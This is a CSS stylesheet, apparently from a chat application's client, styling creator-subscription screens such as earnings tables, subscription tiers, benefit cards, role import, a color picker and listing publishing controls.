.toggleExpandCell-1m66Me { cursor: pointer; }

.caretIcon-3_Mq5F { width: 12px; height: 12px; color: var(--interactive-normal); }

.caretDownIcon-Yv7Wbe { transform: rotate(90deg); }

.periodColumn-3K2US1 { width: calc(28% - 30px); }

.periodCell-34TTje { font-weight: 500; color: var(--header-primary); }

.subscribersColumn-yBPH_9 { width: 24%; }

.subscribersCell-14BwB3 { padding: 8px 0px; }

.subscribersIcon-3welgh { width: 20px; height: 20px; margin-left: 8px; vertical-align: sub; }

.amountColumn-3jRWMc { width: 24%; }

.amountDisclaimer-2Vh3gd { margin-left: 5px; }

.statusColumn-28JTk3 { width: 24%; }

.statusCell-2FXVf- { padding: 8px 0px; }

.statusPaidIcon-nh4jh7 { width: 20px; height: 20px; color: var(--text-positive); vertical-align: sub; margin-left: 8px; }

.statusErrorIcon-ZlJZnA, .statusScheduledIcon-l7tXxV { width: 16.67px; height: 16.67px; margin-left: 8px; vertical-align: bottom; }

.statusErrorIcon-ZlJZnA { color: var(--text-danger); }

.statusScheduledIcon-l7tXxV { color: var(--text-warning); }

.tierNameColumn-zEqflI { width: 28%; }

.amountColumn-u97k1U, .priceColumn-1f4kcH, .subscribersColumn-3hZii3 { width: 24%; }

.table-FXvuAF { padding-bottom: 8px; }

.header-2GZRIY { margin-bottom: 8px; }

.row-EdDOp7 { color: var(--interactive-normal); font-size: 16px; }

.tierNameCell-3-Icda { font-weight: 500; color: var(--header-primary); display: flex; -webkit-box-align: center; align-items: center; padding: 8px 0px; }

.tierImage-3uac-X { width: 20px; height: 20px; border-radius: 50%; background-color: rgb(0, 0, 0); margin-right: 8px; object-fit: cover; }

.container-v5vdjt { height: 122px; border-radius: 8px; padding: 16px; background-color: var(--background-secondary); -webkit-box-flex: 1; flex: 1 1 0%; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; }

.container-v5vdjt, .labelContainer-uKn9P7 { display: flex; -webkit-box-pack: justify; justify-content: space-between; }

.labelContainer-uKn9P7 { margin-bottom: 16px; }

.label-1gnnhj { text-transform: uppercase; color: var(--interactive-normal); font-family: var(--font-display); font-weight: 600; letter-spacing: 0.02em; }

.sublabel-26EdCb { color: var(--text-muted); }

.value-1NwUg7 { font-size: 25px; line-height: 30px; color: var(--header-primary); font-family: var(--font-display); font-weight: 300; }

.trendContainer-6qClT8 { display: flex; }

.chartLineIcon-n10EvF { width: 20px; height: 20px; color: hsl(139,calc(var(--saturation-factor, 1)*47.3%),43.9%); margin-right: 8px; }

.chartLineIconNegative-2VjCjt { color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); transform: scaleY(-1); }

.trendDescription-2gYxfd { color: var(--header-secondary); }

.metricsContainer-3QTsUP { display: flex; gap: 16px; margin-bottom: 16px; }

.totalMembersIcon-26PqRI { width: 30px; height: 30px; vertical-align: bottom; color: var(--interactive-normal); }

.currentMonthEarningsTable-1fROXP { margin-bottom: 32px; }

.container-1qX8H5 { display: inline-block; }

.iconWrapper-3dFGl9, .innerContainer-1uResN { display: flex; }

.iconWrapper-3dFGl9 { width: 64px; height: 64px; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; background-color: var(--background-tertiary); color: var(--interactive-normal); border-radius: 50%; margin: 8px 0px; }

.star-g655ws { width: 16px; margin-right: 4px; align-self: flex-end; }

.sparkle-3izqUK { width: 20px; align-self: flex-start; }

.container-1F8LiP { display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; padding: 24px; -webkit-box-align: center; align-items: center; text-align: center; }

.body-_6c9Du { color: var(--header-secondary); }

.selectTeamContainer-2rLFSv { display: flex; }

.teamSelect-1bTUdQ { -webkit-box-flex: 1; flex: 1 1 0%; margin-right: 16px; }

.enableTicketingButton-1JGpR8 { height: 42px; }

.error-1a0Nt6 { margin-top: 8px; color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); }

.description-bY7OGT { margin-bottom: 16px; }

.confirmationIcon-MggI_s { margin: 24px 0px; }

.confirmationHeader-2ADbkU { margin-bottom: 8px; font-weight: 600; text-align: center; }

.confirmationBody-rZPrY3 { text-align: center; }

.formError-1kuqYq { background-color: hsla(359,calc(var(--saturation-factor, 1)*82.6%),59.4%,0.1); border: 1px solid hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); border-radius: 4px; }

.formErrorIcon-bSEV_h { color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); }

.container-3CgKuJ { padding-bottom: 40px; }

.formDescription-38gKOG { margin-bottom: 16px; }

.divider-1GuPJF { margin: 24px 0px; }

.formatOptionRadioItem-mqi9aD { padding: 8px; }

.formatRadioIconWrapper-1h8Myw { display: none; }

.radioGroupHorizontal-ssjKkG { display: flex; gap: 16px; }

.radioGroupHorizontal-ssjKkG .formatOptionRadioItem-mqi9aD { -webkit-box-flex: 1; flex: 1 1 0%; padding: 16px; border-radius: 8px; border: 1px solid transparent; }

.radioGroupHorizontal-ssjKkG .formatOptionRadioBar-FbvJP0 { display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; -webkit-box-align: start; align-items: flex-start; gap: 16px; }

.radioGroupHorizontal-ssjKkG .formatOptionRadioItemIcon-mN_DlV { width: 100%; display: flex; -webkit-box-orient: horizontal; -webkit-box-direction: reverse; flex-direction: row-reverse; -webkit-box-pack: justify; justify-content: space-between; }

.radioGroupHorizontal-ssjKkG .formatRadioIconWrapper-1h8Myw { display: initial; padding: 8px; border-radius: 50%; background-color: var(--background-tertiary); line-height: 0; }

.radioGroupHorizontal-ssjKkG .formatRadioIcon-1N0ZJ- { width: 24px; height: 24px; }

.radioGroupHorizontal-ssjKkG .formatOptionRadioItem-mqi9aD[aria-checked="true"] { border-color: var(--brand-experiment); }

.radioGroupHorizontal-ssjKkG .formatOptionRadioItem-mqi9aD[aria-checked="true"] .formatRadioIconWrapper-1h8Myw { background-color: var(--background-primary); }

.coverImageFormSection-3TsVER { flex-basis: 40%; margin-right: 16px; }

.coverImageUploadButton-10OeEo { width: max-content; }

.coverImageUploader-1lboL1 { width: 100%; padding-bottom: 33.3333%; position: relative; }

.coverImageUploader-1lboL1 .coverImageUploaderInner-gKIyo5 { position: absolute; inset: 0px; width: auto; height: auto; border-radius: 4px; background-color: var(--background-tertiary); background-size: cover; }

.coverImageUploaderIcon-1DLD-f { top: -4px; right: -4px; }

.contentRegion-3msMuk { position: fixed; bottom: 20px; width: 480px; z-index: 2; }

.container-At3j8s { border: 1px solid var(--background-modifier-accent); border-radius: 8px; padding: 16px; }

.headerBar-2A0w6Q { display: flex; cursor: pointer; }

.headerText-1gh0T1 { -webkit-box-flex: 1; flex: 1 1 auto; align-self: center; }

.headerCaret-1Q7wAG { -webkit-box-flex: 0; flex: 0 0 auto; margin-left: 8px; color: var(--interactive-normal); }

.categoryTitle-3zVP-h, .row-1P7u4Q { margin-top: 16px; }

.row-1P7u4Q { display: flex; -webkit-box-align: center; align-items: center; }

.rowText-1sCdnx { -webkit-box-flex: 1; flex: 1 1 auto; }

.rowIcon-RMRIZ1 { -webkit-box-flex: 0; flex: 0 0 auto; margin-left: 8px; }

.rowIconChecked-7pmerP { width: 24px; height: 24px; color: var(--brand-experiment); }

.rowIconEmpty-2UbqcO { border: 2px solid var(--background-accent); border-radius: 50%; width: 20px; height: 20px; margin-top: 2px; margin-right: 2px; margin-bottom: 2px; }

.divider--wVBI0 { margin-top: 16px; }

.progressBarOuter-2yyN_g { margin-top: 16px; width: 100%; height: 4px; border-radius: 2px; background: var(--background-secondary-alt); overflow: hidden; }

.progressBarInner-LRM0d- { height: 100%; background: linear-gradient(90deg,hsl(160,calc(var(--saturation-factor, 1)*81.3%),35.7%),hsl(198,calc(var(--saturation-factor, 1)*81.5%),46.7%)); }

.modalRoot-3U5voT { height: 100%; width: auto; }

.contentWrapper-seqLgq { background-color: var(--background-secondary); border-radius: 8px; box-shadow: var(--elevation-stroke),var(--elevation-high); box-sizing: border-box; display: grid; height: 100%; width: 424px; grid-template-rows: auto 1fr; overflow: hidden; position: relative; z-index: 1; }

.nav-p1yAyi { padding: 16px 16px 8px; height: min-content; }

.navUploadSelected-23vx55 { padding-bottom: 16px; box-shadow: var(--elevation-low); }

.navList-1npfZ2 { display: flex; }

.navItem-3cI8OK { -webkit-box-flex: 0; flex: 0 0 auto; }

.navItem-3cI8OK + .navItem-3cI8OK { margin-left: 8px; }

.navButton-2mxdrt { border-radius: 4px; color: var(--interactive-normal); font-size: 16px; font-weight: 600; line-height: 20px; padding: 2px 8px; transition: background-color 0.1s ease-in-out 0s, color 0.1s ease-in-out 0s; }

.navButton-2mxdrt:hover { color: var(--interactive-hover); }

.navButtonActive-3bfmF8 { background-color: var(--background-accent); color: rgb(255, 255, 255); }

.navButtonActive-3bfmF8:hover { color: rgb(255, 255, 255); }

.uploadContainer-JnZgpg { -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; width: 100%; height: 100%; color: var(--text-normal); }

.uploadContainer-JnZgpg, .uploadIconOuterContainer-xoCL84 { display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; }

.uploadIconOuterContainer-xoCL84 { position: relative; }

.uploadIconInnerContainer-3KA3Om { padding: 8px; position: absolute; border-radius: 8px; background: var(--background-tertiary); }

.uploadIcon--HUErw { width: 40px; height: 40px; }

.uploadInfo-29uYLb { padding-top: 24px; padding-bottom: 10px; }

.uploadError-3Vce4_ { padding: 8px 32px; text-align: center; line-height: 20px; }

.container-BRLGZb { border-radius: 4px; background-color: var(--background-secondary); border: 1px solid var(--background-modifier-accent); }

.header-1k1qzN { padding: 16px; cursor: pointer; }

.description-2ZSj10 { cursor: pointer; line-height: 18px; }

.titleContainer-sWvFIW { display: flex; -webkit-box-pack: justify; justify-content: space-between; -webkit-box-align: center; align-items: center; }

.caret-1gd-6h { color: var(--interactive-normal); width: 24px; height: 24px; }

.divider-34tqbd { border-bottom: 1px solid var(--background-modifier-accent); margin: 0px 16px; }

.content-3GTWsx { padding: 16px; }

.container-3GxKRm { position: relative; }

.blockUserInteraction-2t8NLL { position: absolute; inset: 0px; cursor: default; }

.closeButton-1l5x7t { position: absolute; top: 12px; right: 12px; }

.modalContent-bNHgmD { padding-top: 16px; padding-bottom: 16px; }

.icon-1O5Up2, .spacer-2nQtRH { height: 24px; }

.icon-1O5Up2 { width: 24px; color: var(--interactive-normal); margin-right: 8px; }

.inputWrapper-2A791H { position: relative; }

.inputInner-2xVy1Y { padding-left: 36px; }

.inputPrefix-3EWxvg { position: absolute; width: 20px; height: 20px; top: 10px; left: 8px; color: var(--interactive-normal); }

.backButton-3a4z3b { min-width: 0px; padding: 0px; }

.backButtonInner-2510Ge { display: flex; -webkit-box-align: center; align-items: center; }

.label-urTcWs { display: flex; -webkit-box-align: center; align-items: center; min-width: 0px; }

.createLabel-3gVgjq { color: var(--text-link); }

.labelIcon-31M3CC { -webkit-box-flex: 0; flex: 0 0 auto; width: 20px; height: 20px; margin-right: 8px; }

.labelText-2dn4lq { -webkit-box-flex: 1; flex: 1 1 auto; display: flex; -webkit-box-align: center; align-items: center; min-width: 0px; }

.labelTitle-3dbx32 { margin-right: 8px; }

.labelSubtitle-2IUue6, .labelTitle-3dbx32 { white-space: nowrap; text-overflow: ellipsis; overflow: hidden; }

.labelSubtitle-2IUue6 { min-width: 48px; font-weight: 600; text-transform: uppercase; }

.closeButton-3dhOYb { position: absolute; top: 12px; right: 12px; }

.modalContent-37kQ9I { padding-top: 16px; padding-bottom: 16px; }

.emojiInputContainer-avo5dP { position: relative; }

.emojiButton-2IGHsI { height: 100%; left: 0px; margin: 0px 10px; position: absolute; top: 0px; }

.emoji-bDSIvi { height: 22px; width: 22px; }

.emojiText-1MFdZi { padding-left: 42px; cursor: pointer; }

.primaryButtons-2imdZG { display: flex; -webkit-box-orient: horizontal; -webkit-box-direction: reverse; flex-direction: row-reverse; gap: 24px; }

.deleteButton-2IPy3U { color: var(--interactive-normal); }

.deleteButton-2IPy3U:hover { color: var(--interactive-hover); }

.deleteButton-2IPy3U:active { color: var(--interactive-active); }

.cancelButton-13ct7z { min-width: 0px; padding: 0px; }

.icon-8ZHRuw { display: inline-block; width: 16px; height: 16px; margin-right: 4px; vertical-align: bottom; margin-bottom: 2px; }

.container-239cm_ { background-color: var(--background-secondary-alt); border-radius: 8px; overflow: hidden; }

.divider-1An6Fi { margin-left: 56px; height: 1px; background-color: var(--background-modifier-accent); }

.card-5djGku { background: var(--background-secondary-alt); display: flex; -webkit-box-align: start; align-items: flex-start; padding: 16px; position: relative; }

.cardDragging-1nE5i8 { opacity: 0.5; }

.emojiWrapper-RxcN8g { box-sizing: border-box; width: 24px; height: 24px; -webkit-box-flex: 0; flex: 0 0 auto; margin-right: 16px; display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; position: relative; }

.dragIconWrapper-2W42Sy { position: absolute; inset: 0px; opacity: 0; cursor: pointer; }

.dragIcon-3mHjHU { width: 100%; height: 100%; color: var(--interactive-normal); }

.dragIcon-3mHjHU:active { color: var(--interactive-active); }

.dragIcon-3mHjHU:hover { color: var(--interactive-hover); }

.cardText-1jCAsl { -webkit-box-flex: 1; flex: 1 1 auto; align-self: center; }

.cardTitle-16yCpI { font-weight: 600; }

.channelIcon-5AjghJ { display: inline-block; width: 16px; height: 16px; color: var(--interactive-normal); margin-right: 4px; }

.cardActions-2uDVl1 { margin-left: 8px; -webkit-box-flex: 0; flex: 0 0 auto; display: flex; line-height: 0; opacity: 0; }

.cardActionButton-2sRq7s { color: var(--interactive-normal); cursor: pointer; }

.cardActionButton-2sRq7s:hover { color: var(--interactive-hover); }

.cardActionButtonIcon-1qiGac { width: 24px; height: 24px; }

.card-5djGku:focus-within, .card-5djGku:hover { background-color: var(--background-tertiary); }

.container-239cm_:not(.isDragging-gBhotP) .card-5djGku:focus-within .emoji-1tu6Tv, .container-239cm_:not(.isDragging-gBhotP) .card-5djGku:hover .emoji-1tu6Tv { opacity: 0; }

.container-239cm_:not(.isDragging-gBhotP) .card-5djGku:focus-within .dragIconWrapper-2W42Sy, .container-239cm_:not(.isDragging-gBhotP) .card-5djGku:hover .dragIconWrapper-2W42Sy { opacity: 1; }

.container-239cm_:not(.isDragging-gBhotP) .card-5djGku:focus-within .cardActions-2uDVl1, .container-239cm_:not(.isDragging-gBhotP) .card-5djGku:hover .cardActions-2uDVl1 { opacity: 1; }

.addBenefit-hT1U74 { cursor: pointer; -webkit-box-align: center; align-items: center; }

.addBenefitIcon-3Re4Iq { width: 100%; height: 100%; color: var(--brand-experiment); }

.modalContent-3JEMtB { padding-top: 16px; padding-bottom: 16px; }

.modalCloseButton-1CXWzz { position: absolute; top: 0px; right: 0px; margin: 8px; }

.section-3cnLgl + .section-3cnLgl { margin-top: 16px; }

.list-2n4ksL { border-radius: 4px; overflow: hidden; }

.list-2n4ksL + .list-2n4ksL { margin-top: 8px; }

.row-3INRhq { display: flex; -webkit-box-align: start; align-items: flex-start; padding: 16px; background-color: var(--background-secondary-alt); color: var(--interactive-normal); position: relative; }

.row-3INRhq:not(.disabled-3YUNB_) { cursor: pointer; }

.row-3INRhq:not(.disabled-3YUNB_):hover { background-color: var(--background-tertiary); }

.row-3INRhq + .row-3INRhq::before { content: ""; position: absolute; top: -0.5px; left: 0px; right: 0px; height: 1px; margin-left: 56px; background-color: var(--background-modifier-accent); }

.rowIconWrapper-2lLps2 { -webkit-box-flex: 0; flex: 0 0 auto; margin-right: 16px; }

.rowIcon-3Tni6g { width: 24px; height: 24px; }

.rowText-1YR2Jh { -webkit-box-flex: 1; flex: 1 1 auto; align-self: center; display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; }

.rowCheckbox-2q1B8z { -webkit-box-flex: 0; flex: 0 0 auto; margin-left: 16px; position: relative; }

.checkboxInput-1xSQdp { position: absolute; top: 0px; left: 0px; width: 100%; height: 100%; opacity: 0; margin: 0px; padding: 0px; appearance: none; z-index: 1; }

.checkboxDisplay-19R89g { display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; margin: 2px; width: 20px; height: 20px; border: 2px solid var(--interactive-normal); border-radius: 4px; box-sizing: border-box; }

.checkboxIcon-8LfUhS { color: rgb(255, 255, 255); display: none; }

.checked-2dL06d .checkboxDisplay-19R89g, .disabled-3YUNB_ .checkboxDisplay-19R89g { border-color: var(--brand-experiment); background-color: var(--brand-experiment); }

.checked-2dL06d .checkboxIcon-8LfUhS, .disabled-3YUNB_ .checkboxIcon-8LfUhS { display: initial; }

.disabled-3YUNB_ .checkboxInput-1xSQdp { display: none; }

.disabled-3YUNB_ .checkboxDisplay-19R89g { opacity: 0.2; }

.benefitTitle-KY-Pfl { font-weight: 600; }

.roleRow-2lwDQk { -webkit-box-align: center; align-items: center; }

.roleRowIconDefault-2CdjmV { width: 40px; height: 40px; }

.container-szosf- { border-radius: 4px; overflow: hidden; }

.row-rF9E6d { display: flex; -webkit-box-align: center; align-items: center; padding: 16px; color: var(--interactive-normal); background-color: var(--background-secondary-alt); position: relative; }

.row-rF9E6d + .row-rF9E6d::before { content: ""; position: absolute; top: -0.5px; left: 0px; right: 0px; height: 1px; margin-left: 72px; background-color: var(--background-modifier-accent); }

.rowIcon-26R5KL { -webkit-box-flex: 0; flex: 0 0 auto; margin-right: 16px; }

.listingImage-LE-FSy { width: 40px; height: 40px; border-radius: 50%; }

.rowBody-27rtDr { flex: 1 1 auto; display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; }

.rowBody-27rtDr, .rowText-1my31c { -webkit-box-flex: 1; }

.rowText-1my31c { flex: 1 1 auto; }

.listingName-D2-HVb { font-weight: 600; }

.importRoleCard-155Hc7 { cursor: pointer; }

.caret-psRHzt { -webkit-box-flex: 0; flex: 0 0 auto; margin-left: 16px; color: var(--interactive-normal); }

.importRoleCard-155Hc7:hover { background-color: var(--background-tertiary); }

.importRoleCard-155Hc7:hover .caret-psRHzt { color: var(--interactive-hover); }

.wrapper-2AQieU { width: auto; }

.saturation-1FDvtn { position: relative; width: auto; height: 150px; }

.saturation-1FDvtn > div, .saturation-1FDvtn > div > div { border-radius: 3px; }

.hue-13HAGb { height: 8px; margin: 8px 0px; position: relative; }

.hue-13HAGb > div > div { border-radius: 3px; }

.hue-13HAGb > div > div > div > div { height: 16px !important; width: 8px !important; margin-top: -3px !important; border-radius: 3px !important; }

.container-3sNMIc { display: flex; flex-wrap: wrap; margin-top: -10px; margin-right: -10px; }

.customContainer-3fZxdw, .defaultContainer-Z8qCJn { margin-top: 10px; margin-right: 10px; -webkit-box-flex: 1; flex: 1 1 0%; min-width: 60px; max-width: 70px; }

.custom-2SJn4n .preset-10Y8Fc { -webkit-box-flex: 1; flex: 1 1 auto; }

.colorPickerCustom-2CWBn2, .custom-2SJn4n .preset-10Y8Fc { display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; }

.colorPickerCustom-2CWBn2 { flex-direction: column; padding: 10px; border: 1px solid transparent; width: 220px; }

.colorPickerCustom-2CWBn2 .customColorPickerInput-14pB0r .input-GfazGc { text-transform: uppercase; height: 24px; }

.colorPickerRow-1LgLnl { margin-top: 10px; flex-wrap: wrap; overflow: hidden; }

.colorPickerRow-1LgLnl, .colorPickerSwatch-5GX3Ve { display: flex; height: 20px; }

.colorPickerSwatch-5GX3Ve { background-color: transparent; position: relative; box-sizing: border-box; width: 20px; border-radius: 3px; margin-right: 10px; -webkit-box-pack: center; justify-content: center; -webkit-box-align: center; align-items: center; border: 1px solid transparent; cursor: pointer; padding: 0px; }

.colorPickerSwatch-5GX3Ve.custom-2SJn4n, .colorPickerSwatch-5GX3Ve.default-cS_caM { margin-right: 0px; width: 100%; height: 50px; border-radius: 4px; }

.colorPickerSwatch-5GX3Ve.disabled-1C4eHl { opacity: 0.3; cursor: not-allowed; pointer-events: none; }

.colorPickerSwatch-5GX3Ve .colorPickerDropper-3c2mIf { position: absolute; top: 4px; right: 4px; }

.theme-dark .colorPickerSwatch-5GX3Ve.noColor-1pdBDm { border-color: rgba(255, 255, 255, 0.1); }

.theme-dark .colorPickerSwatch-5GX3Ve.noColor-1pdBDm .colorPickerDropperFg-3jYKWI { fill: rgb(255, 255, 255); }

.theme-dark .colorPickerCustom-2CWBn2 { background: rgb(54, 57, 63); border-color: rgb(32, 34, 37); }

.theme-light .colorPickerSwatch-5GX3Ve.noColor-1pdBDm { border-color: rgba(79, 84, 92, 0.1); }

.theme-light .colorPickerSwatch-5GX3Ve.noColor-1pdBDm .colorPickerDropperFg-3jYKWI { fill: rgb(79, 84, 92); }

.theme-light .colorPickerCustom-2CWBn2 { background: rgb(255, 255, 255); border-color: rgb(220, 221, 222); }

.buttonsContainer-1_F7xj { display: flex; gap: 16px; }

.colorSwatch-34FuEJ { -webkit-box-flex: 1; flex: 1 1 0%; cursor: pointer; text-align: center; position: relative; }

.swatchDescription-110eFv { margin-top: 4px; }

.swatch-23Jt-_ { display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; height: 50px; border-radius: 4px; box-sizing: border-box; }

.customSwatch-tU85S0 { position: relative; border: 1px solid var(--custom-color); background-color: var(--custom-color); }

.defaultSwatch-18EKR0 { border: 1px solid var(--background-modifier-accent); background-color: transparent; }

.dropperIconButton-2WyTvO { position: absolute; inset: 0px; }

.dropperIcon-JCCDpJ { position: absolute; top: 4px; right: 4px; }

.container-3aNJQN { display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; line-height: 0; width: 80px; height: 80px; border-radius: 8px; background-color: var(--background-tertiary); cursor: pointer; position: relative; }

.preview-33d0-U { color: var(--interactive-normal); }

.container-3aNJQN:hover .preview-33d0-U { color: var(--interactive-active); }

.icon-1bbCrM { width: 24px; height: 24px; }

.uploaderIcon-2iQvGR { top: -4px; right: -4px; }

.container-3IjH1b { border-radius: 8px; overflow: hidden; }

.body-3j2anM { padding: 16px; background: var(--background-secondary-alt); display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; gap: 16px; }

.autoWidth-3TyiB0 { min-width: auto; }

.subheading-3OsShj { margin-top: 4px; }

.formDescription-1yAqPD { margin-bottom: 16px; }

.formSplit-1aoCMe { display: flex; }

.formSplitHalf-3FfYBH { flex-basis: 50%; }

.formSplitHalf-3FfYBH + .formSplitHalf-3FfYBH { margin-left: 16px; }

.iconSection-2h-iU4 { display: flex; }

.iconSectionDescription-1fKu0g { -webkit-box-flex: 1; flex: 1 1 auto; }

.iconUploaderContainer-10ofxs { display: flex; gap: 16px; }

.imageUploadButtonCTA-2FxYqn { width: max-content; }

.iconUploader-1c1Uz3 { -webkit-box-flex: 0; flex: 0 0 auto; margin-left: 16px; }

.iconUploader-1c1Uz3 .tierSymbolUploaderInner-3IDjvI { width: 80px; height: 80px; background-color: var(--background-tertiary); }

.previewContainer-SshvV7 { border: 1px solid var(--background-modifier-accent); border-radius: 8px; overflow: hidden; position: relative; }

.messageContainer-1AMMOf { background-color: var(--background-primary); padding-top: 16px; padding-bottom: 16px; }

.tierCardDeleteButton-1cqJll { color: var(--interactive-normal); cursor: pointer; line-height: 0; margin: 0px 32px; }

.tierCardDeleteButton-1cqJll:hover { color: var(--interactive-hover); }

.tierCardDeleteButton-1cqJll:active { color: var(--interactive-active); }

.formInput-2lMFA2 { background-color: var(--background-secondary-alt); border-color: var(--background-tertiary); }

.header-hSqHEB { display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; background: var(--background-secondary); padding: 16px; }

.headerExpanded-19_pYQ { background-color: var(--background-tertiary); }

.cancel-2SQD5C { color: var(--interactive-active); }

.headerName-4paUAj { font-weight: 500; }

.headerImageContainer-a6vhLd { width: 40px; height: 40px; border-radius: 50%; margin-right: 16px; overflow: hidden; background-color: var(--background-accent); -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; display: flex; }

.headerImage-jyOu-t { object-fit: cover; width: 100%; height: 100%; }

.starIcon-3hmwEY { color: var(--interactive-normal); width: 24px; height: 24px; }

.headerListingInfo-3ApjKf { -webkit-box-flex: 1; flex: 1 1 0%; }

.headerDescriptionContainer-33DdTF { display: flex; -webkit-box-align: center; align-items: center; gap: 6px; }

.draftBadge-JgD2Zz { text-transform: uppercase; color: hsl(240,calc(var(--saturation-factor, 1)*7.7%),2.5%); letter-spacing: 0.02em; }

.pencilIcon-3ocbiY { width: 24px; height: 24px; color: var(--interactive-normal); cursor: pointer; }

.deleteListingButton-1LZFZi { align-self: flex-start; }

.publishListing-_5Ys48 { border: 1px solid rgb(20, 161, 166); border-radius: 4px; padding: 16px; display: flex; background: hsla(160,calc(var(--saturation-factor, 1)*81.3%),35.7%,0.05); -webkit-box-pack: justify; justify-content: space-between; }

.publishButton-2N7qyZ { background: linear-gradient(90deg,hsl(160,calc(var(--saturation-factor, 1)*81.3%),35.7%),hsl(198,calc(var(--saturation-factor, 1)*81.5%),46.7%)); }

.channelAccessSelect-2JnDz9 { border-radius: 4px; overflow: hidden; }

.channelAccessSelectRadioBar-15iKXv { padding: 15px 18px; position: relative; }

.channelAccessSelectRadioButton-30WxTw { margin: 0px; background-color: var(--background-secondary-alt); border-radius: 0px; }

.channelAccessSelectRadioButton-30WxTw:not(:last-child)::after { content: ""; display: block; width: 100%; margin-left: 52px; border-bottom: 1px solid var(--background-modifier-accent); }

.listings-hKQSeW { gap: 16px; display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; }

.createTierButton-32JnxQ { padding: 16px; background-color: var(--background-secondary); border-radius: 8px; cursor: pointer; }

.createTierButton-32JnxQ, .createTierIconBorder-1DYopi { display: flex; -webkit-box-align: center; align-items: center; }

.createTierIconBorder-1DYopi { padding: 8px; border: 2px dotted var(--interactive-muted); border-radius: 50%; -webkit-box-pack: center; justify-content: center; margin-right: 16px; }

.createTierIcon-3AhUl3 { width: 20px; height: 20px; color: hsl(235,calc(var(--saturation-factor, 1)*85.6%),64.7%); }

.container-1rb6O3 { display: flex; -webkit-box-align: start; align-items: flex-start; }

.mainContent-ESwqKC { flex-basis: 520px; -webkit-box-flex: 0; flex-grow: 0; }

.tabBarContainer-MlDSif { position: relative; }

.previewButton-1EDLkg { position: absolute; right: 0px; top: -7px; }

.tabBar-1htpJo { margin-top: 24px; margin-bottom: 40px; border-bottom: 2px solid var(--background-modifier-accent); }

.tabBarItemSpacing-10cgtg { margin-right: 32px; }

.tabBarItem-3vwc31 { padding-bottom: 16px; margin-bottom: -2px; }

.checklist-wQ8i6j { position: sticky; top: 16px; margin-left: 40px; -webkit-box-flex: 0; flex-grow: 0; flex-basis: 248px; }

@media (max-width: 900px) {
  .checklist-wQ8i6j { margin-top: 70px; }
}

.settingsColumn-is8lv1 { max-width: 905px; }

.settingsContainer-2vmRxM { }

.settingsScroller-2-AfIX { }

.settingsContent-3jOy_u { margin-right: 55px; padding-bottom: 60px; }

.container-1eFT6O { margin-top: 4px; padding: 8px 8px 4px; background-color: var(--background-floating); border-radius: 4px; overflow: hidden; max-width: 176px; box-shadow: var(--elevation-high); }

.search-wlJhgh { margin: 0px 8px 8px; }

.roles-red-Qt { max-height: 300px; overflow-y: scroll; padding: 0px 8px 8px; }

.role-2-tni0 { display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: justify; justify-content: space-between; padding: 8px; border-radius: 4px; cursor: pointer; -webkit-box-flex: 0; flex-grow: 0; }

.role-2-tni0:hover { background-color: var(--background-secondary); }

.role-2-tni0.disabled-27wPJL { opacity: 0.5; }

.role-2-tni0.disabled-27wPJL:hover { background-color: var(--background-floating); }

.label-1xpc0t { font-size: 14px; line-height: 18px; color: var(--text-normal); white-space: nowrap; text-overflow: ellipsis; overflow: hidden; margin-right: 8px; font-weight: 500; }

.iconContainer-2SYmeK { display: flex; height: 16px; width: 16px; border: 2px solid var(--interactive-normal); border-radius: 4px; flex-shrink: 0; }

.iconContainer-2SYmeK.checked-1Gs3_E { background-color: var(--brand-experiment); border-color: var(--brand-experiment); }

.settingsWrapper-3IlhQx { position: absolute; top: 0px; right: 0px; z-index: 2000; width: 100%; background-color: var(--brand-experiment-600); }

.settingsWrapper-3IlhQx.osx-3XyQOT .backButton-3aYUcc { margin-left: 76px; }

.settingsWrapper-3IlhQx.windows-18x0D0 { top: 22px; }

.settingsWrapper-3IlhQx.windows-18x0D0 .backButton-3aYUcc { margin-left: 0px; }

.notice-18685F { background-color: var(--brand-experiment-600); color: rgb(255, 255, 255); -webkit-box-pack: justify; justify-content: space-between; height: 40px; padding: 0px 8px; }

.notice-18685F, .noticeContents-1WnXD8 { display: flex; -webkit-box-align: center; align-items: center; }

.noticeContents-1WnXD8 { -webkit-box-flex: 1; flex: 1 1 auto; -webkit-box-pack: center; justify-content: center; }

.noticeText-3SVgPc { font-weight: 600; margin-right: 16px; }

.button-2TV-eO { font-size: 12px; line-height: 16px; font-weight: 600; padding: 4px 8px; height: fit-content; -webkit-box-align: center; align-items: center; }

.button-2TV-eO:hover { background-color: var(--brand-experiment-530); }

.buttonInner-1XA8a8 { display: flex; }

.backArrow-34GvnY { margin-right: 8px; }

.selectCaret-1C_7kQ { margin-left: 8px; }

.flex-39btti { display: flex; }

.alignStart-ZXz_qY { -webkit-box-align: start; align-items: flex-start; }

.alignEnd-1nrmHA { -webkit-box-align: end; align-items: flex-end; }

.alignCenter-3LI_0M { -webkit-box-align: center; align-items: center; }

.alignStretch-3HAs0X { -webkit-box-align: stretch; align-items: stretch; }

.alignBaseline-1xMxcY { -webkit-box-align: baseline; align-items: baseline; }

.justifyStart-3Z9M1l { -webkit-box-pack: start; justify-content: flex-start; }

